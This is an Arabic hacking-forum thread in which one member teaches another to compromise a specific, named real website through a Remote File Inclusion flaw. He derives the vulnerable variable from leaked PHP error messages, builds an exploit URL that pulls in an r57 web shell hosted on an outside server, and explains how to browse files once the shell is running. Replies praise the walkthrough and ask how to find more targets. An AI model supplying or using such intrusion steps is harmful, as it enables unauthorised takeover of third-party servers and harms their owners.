بخصوص رفع الشيل :!!

][آلـهـٍيـكَـل آلأزٍرٍقٌ][ · 04-11-2010, 01:24 AM

akram05batna

اهلا اخي منور

اخي اكرم انا الان سوف اضع لك الاستغلال

واكشف لك المتغير

وعلى حسب كلام اخوي فولكانو يقول لا وجود لــ متغير في نص الخطـأ

لكن تابع معي اخوي اكرم

الموقع المطلوب هو

http://www.logicmerce.com/poll/admin/common.inc.php

الان كل شي تمام

نص الخطـأ هو

كود PHP:

  PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 42 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Warning: main(/lang/english.php): failed to open stream: No such file or directory in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Warning: main(): Failed opening '/lang/english.php' for inclusion (include_path='.;c:\php4\pear') in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 48 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 50 PHP Notice: Undefined variable: lang in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 55 PHP Notice: Undefined index: login in D:\Websites\LOGICmerce\www\poll\include\class_template.php on line 94

الان نكتشف المتغير .... ؟

لاحظ النص :

base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.p hp

شوف المتغير < base_path >

اذن الاستغلال بيكون كذا ::

http://www.logicmerce.com/poll/admin...php?base_path=

الان كل شي تمام

اخير نضع رابط الشل

تفضـل ... !

http://www.idasy.com/r57.txt?

الاستغلال كامل هو

http://www.logicmerce.com/poll/admin...y.com/r57.txt?

ومبروك عليك وان شاء الله تكون فهمت

طبعا اخي المهم ابيك تعرف كيف تحصل على المتغير

بعد دخولك للشل

اقرأ الملف هذا : common.inc.php

ابحث عن /admin/

بتلاحظ بوجود الممتغير الصحيح له

والان اتمنى تكون فهمت اخي الغالي اكرم

بالتوفيق لك وللجميــع

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC

KaLa$nikoV · 04-11-2010, 02:28 PM

اقتباس

المشاركة الأصلية كتبت بواسطة آلهيَكل آلأزرقٌٍ


	akram05batna اهلا اخي منور اخي اكرم انا الان سوف اضع لك الاستغلال واكشف لك المتغير وعلى حسب كلام اخوي فولكانو يقول لا وجود لــ متغير في نص الخطـأ لكن تابع معي اخوي اكرم الموقع المطلوب هو http://www.logicmerce.com/poll/admin/common.inc.php الان كل شي تمام نص الخطـأ هو كود PHP: PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 42 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Warning: main(/lang/english.php): failed to open stream: No such file or directory in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Warning: main(): Failed opening '/lang/english.php' for inclusion (include_path='.;c:\php4\pear') in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 45 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 48 PHP Notice: Undefined variable: base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 50 PHP Notice: Undefined variable: lang in D:\Websites\LOGICmerce\www\poll\admin\common.inc.php on line 55 PHP Notice: Undefined index: login in D:\Websites\LOGICmerce\www\poll\include\class_template.php on line 94 الان نكتشف المتغير .... ؟ لاحظ النص : base_path in D:\Websites\LOGICmerce\www\poll\admin\common.inc.p hp شوف المتغير < base_path > اذن الاستغلال بيكون كذا :: http://www.logicmerce.com/poll/admin...php?base_path= الان كل شي تمام اخير نضع رابط الشل تفضـل ... ! http://www.idasy.com/r57.txt? الاستغلال كامل هو http://www.logicmerce.com/poll/admin...y.com/r57.txt? ومبروك عليك وان شاء الله تكون فهمت طبعا اخي المهم ابيك تعرف كيف تحصل على المتغير بعد دخولك للشل اقرأ الملف هذا : common.inc.php ابحث عن /admin/ بتلاحظ بوجود الممتغير الصحيح له والان اتمنى تكون فهمت اخي الغالي اكرم بالتوفيق لك وللجميــع

بكل صراحه انت مبدع

فاجئتني بحركتك :18:

تحياتي يا بطل

TIKTAKram · 04-11-2010, 03:12 PM

بصراحة أخي الهيكل الأزرق بارك الله فيك

و ما شاء الله عليك

لو أقول لك شيء هل تصدقني ؟

أقسم لك بالله منذ تعلمي 2 أشهر الآن فمهت منك جزء من ثغرة Remote File Include

يعني يا غالي قصدك أنه لما ينتج خطأ مثل هذا، نقوم بإضافة المتغير مع إضافة الشيل

ما شاء الله و الله فمهت، لكن فقط لو تكرمت سؤال أخير ليتضح لي كل شيء بإذن الله

كيف لي أن أكشف الخطأ في الموقع، مثلا هذا الموقع كيف إكتشفت تلك الصفحة أنت

كذلك هل أنا في عملي كما ذكرت لك في الرد رقم 10، هل عملي صحيح، و هل هكذا مع كل و باقي الثغرات ؟

و بارك الله فيك و مشكور مرة ثانية، و صراحة تستاهل كل خير، و أنت شرف لهذا المنتدى يا غالي

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
حصـريا : تخطى السيف مود و العب بالدوال و تخطى تعطيل السيم لينك مـن الشيل	Dr.Alaa	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	13	11-07-2013 04:10 AM
ممكن شرح حول الشيل	.~Amer.?AlnJ0M~.!	جـــ'ابات العناكــ'ب	3	09-02-2009 10:07 PM
مساعدة فى الشيل	THE WARRIOR	جـــ'ابات العناكــ'ب	2	06-26-2009 08:29 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

بخصوص رفع الشيل :!!

جـــ'ابات العناكــ'ب